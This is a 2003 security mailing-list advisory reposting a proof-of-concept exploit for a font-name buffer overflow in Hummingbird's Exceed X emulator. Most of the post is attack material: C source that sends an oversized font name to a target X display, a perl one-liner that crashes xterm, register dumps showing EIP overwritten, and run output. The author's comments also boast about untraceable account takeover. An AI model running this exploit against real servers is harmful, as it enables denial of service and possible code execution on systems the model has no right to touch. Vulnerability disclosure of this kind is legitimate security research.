[EXPL] Hummingbird's Exceed X Emulator Fonts Directive Mishandling

From: SecuriTeam (support_at_securiteam.com)
Date: 07/17/03

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Date: 17 Jul 2003 13:50:54 +0200

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      Hummingbird's Exceed X Emulator Fonts Directive Mishandling
    ------------------------------------------------------------------------

    SUMMARY

    Hummingbird's Exceed X emulator has been found to mishandle the font
    directives (environment variable, or remote directive). By setting a long
    enough font name, a local user, and remote attacker can either cause a
    denial of service attack against the product, or cause it to execute
    arbitrary code.

    DETAILS

    Exploit:
    /*
     * Crushing birds for fun and knowledge
     * ------------------------------------
     *
     * HQOTD: "How secure do you want it"
     *
    http://mimage.hummingbird.com/alt_content/binary/pdf/collateral/ds/exceed_ds_en.pdf
     *
     * I'll tell you: Much more please sirs.
     *
     * **************************************
     *
     * Exceed has some bugs caused by the way it handles fonts, in a local and
    remote
     * context.
     *
     * Debug output created by master techniques:
     * EAX = C0000000
     * EBX = 00000000
     * ECX = 40000000
     * EDX = 00000501
     * ESI = 41414141 <-------- // Here
     * EDI = 0012E138
     * EIP = 41414141 <-------- // Here
     * ESP = 0012E0C8
     * EBP = 0012E0F0
     *
     * A way to check that a server is not trying to exploit your PC could be:
     * $ xlsfonts -display exceed_server:0.0
     * ...
     * --------0------
     * --arial-bold-r---0-0-120-120-p-0-iso8859-1
     * --arial-medium-r---0-0-120-120-p-0-iso8859-1
     *
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA....
    <-- Here
     * ...
     *
     * A way to hide evil font would be through the use of font aliasing.
     * -the first ever font spoofing technique, lol.
     *
     * [-] We can crash a local Exceed server * 2
     * [-] We can crash a remote Exceed server * many lol
     * [-] We can crash Exceed client that uses evil X Font Server * 1
     * [-] We can write over EIP address * many lol
     *
     * Hummingbird informed 3 weeks ago, still no reply.
     *
     * **************************************
     * rwxr-xr-x xterm exploit!
     *
     * $ export DISPLAY=192.168.1.31:0.0 //Valid host
     * $ xterm -font `perl -e 'print "69r"x10101'`
     * Segmentation fault (core dumped) //lol
     * $ md5sum `which xterm`
     * 09ebe34028b779eb73d4a31e987ee9ed /usr/X11R6/bin/xterm
     *
     * Root user can now have super 0day xterm sploit that s/he can use to own
    local user
     * accounts!
     *
     * ** This would give root the ability to become any user on the system **
     *
     * More serious than su, it does not leave a log entry behind, real anon
    hacker style.
     *
     * **************************************
     *
     * This is just a little hobby that saves me going to clubs at the
    weekend, drinking
     * beer and mumbling to some strange lethargic woman with alchohol driven
    motives.
     *
     * Computer security is #1 contraceptive, coming soon to an NHS near you.
     *
     * **************************************
     *
     * DNSCon is coming up - www.dnscon.org
     *
     * **************************************
     *
     * [c0ntex@darkside exceed]$ gcc -o exceed exceed.c -lX11 -L
    /usr/X11R6/lib
     * [c0ntex@darkside exceed]$ ./exceed exploited:0.0
     *
     * [-] Exceed [ALL] EIP Attack - c0ntex@hushmail.com
     * [-] We are using DISPLAY variable: exploited:0.0
     * [-] Hang on to your feathers, sending some buffer
     *
     * ..
     * XIO: fatal IO error 104 (Connection reset by peer) on X server
    "exploited:0.0"
     * after 11 requests (9 known processed) with 0 events remaining.
     *
     * **************************************
     *
     * Rants:
     * Knowledge is freely given and should be freely shared, however making
    money from
     * other peoples research in any way is simply unethical. =|
     *
     * SF: Clever move making your vulnerability archive public `again`, this
    will draw
     * back many versed in dot slash t3qN33kZ to infect themselves with trojan
    opcodes.
     * *LOL*
     *
     * Regards to all, keep it real.
     *
     * **************************************
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <X11/Xlib.h>

    #define BIGBIRD 6001
    #define DIRTY_VAL 69
    #define MAX_BORDER_LEN 3
    #define WIN_TIMER 5
    #define WIN_TITLE "simple PoC window - lets shoot birds"

    typedef char Birds;

    int main(int argc, char *argv[])
    {
            Birds nests[BIGBIRD];
            Birds egg[2] = { 'A', '\0' };
      Birds *feathersN;
      Birds *HABITAT = "DISPLAY";

            unsigned short eggs, chicks;
            unsigned short winW, winH, feathersW, feathersH;
            unsigned long locX, locY;
            unsigned long winBDR;

      
      Display* feathers;
            Window wingspan;
      XFontStruct* birdcull;

            fprintf(stderr, "\n\n[-] Exceed [ALL] EIP Attack -
    c0ntex@hushmail.com\n");
      
            if(argc < 2) {
                    fprintf(stderr, "[-] Please set IP/Hostname for DISPLAY
    pointer!\n");
                    fprintf(stderr, "[-] Usage: %s
    <hostname/IP:feathers>\n\n", argv[0]);
                    return EXIT_FAILURE;
            }

            if(setenv(HABITAT, argv[1], 1) <0) {
        perror("setenv"); return EXIT_FAILURE;
      }

            fprintf(stderr, "[-] Ok, using DISPLAY variable: %s\n", argv[1]);

            for(eggs = 0; eggs < BIGBIRD -1; eggs++)
                     if(strncat(nests, egg, sizeof(BIGBIRD)-1) == NULL) {
                            perror("strncat"); return EXIT_FAILURE;
                     }
      
            if((feathers = XOpenDisplay(feathersN)) == NULL) {
        perror("XOpenDisplay"); return EXIT_FAILURE;
      }
      
      chicks = DefaultScreen(feathers);

            winW = ((feathersW = DisplayWidth(feathers, chicks)) /3);
            winH = ((feathersH = DisplayHeight(feathers, chicks)) /3);
      locX = DIRTY_VAL; locY = DIRTY_VAL; winBDR = MAX_BORDER_LEN;
      
      wingspan = XCreateSimpleWindow(feathers, RootWindow(feathers, chicks),
                            locX, locY, winW, winH, winBDR,
                            BlackPixel(feathers, chicks),
                            WhitePixel(feathers, chicks));
      if(XCreateSimpleWindow == NULL) {
        perror("XCreateSimpleWindow"); return EXIT_FAILURE;
      }

            XStoreName(feathers, wingspan, WIN_TITLE);
      if(XStoreName == NULL) {
        perror("XOpenDisplay"); return EXIT_FAILURE;
      }

            XMapWindow(feathers, wingspan);
      if(XMapWindow == NULL) {
                    perror("XOpenDisplay"); return EXIT_FAILURE;
            }

      fprintf(stderr, "[-] Hang on to your feathers, sending some buffer
    \n\n");

      if((birdcull = XLoadQueryFont(feathers, nests)) == NULL) {
        perror("XLoadQueryFont"); return EXIT_FAILURE;
      }

            XCloseDisplay(feathers);

            return EXIT_SUCCESS;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:c0ntex@hushmail.com> c0ntex.

    ========================================

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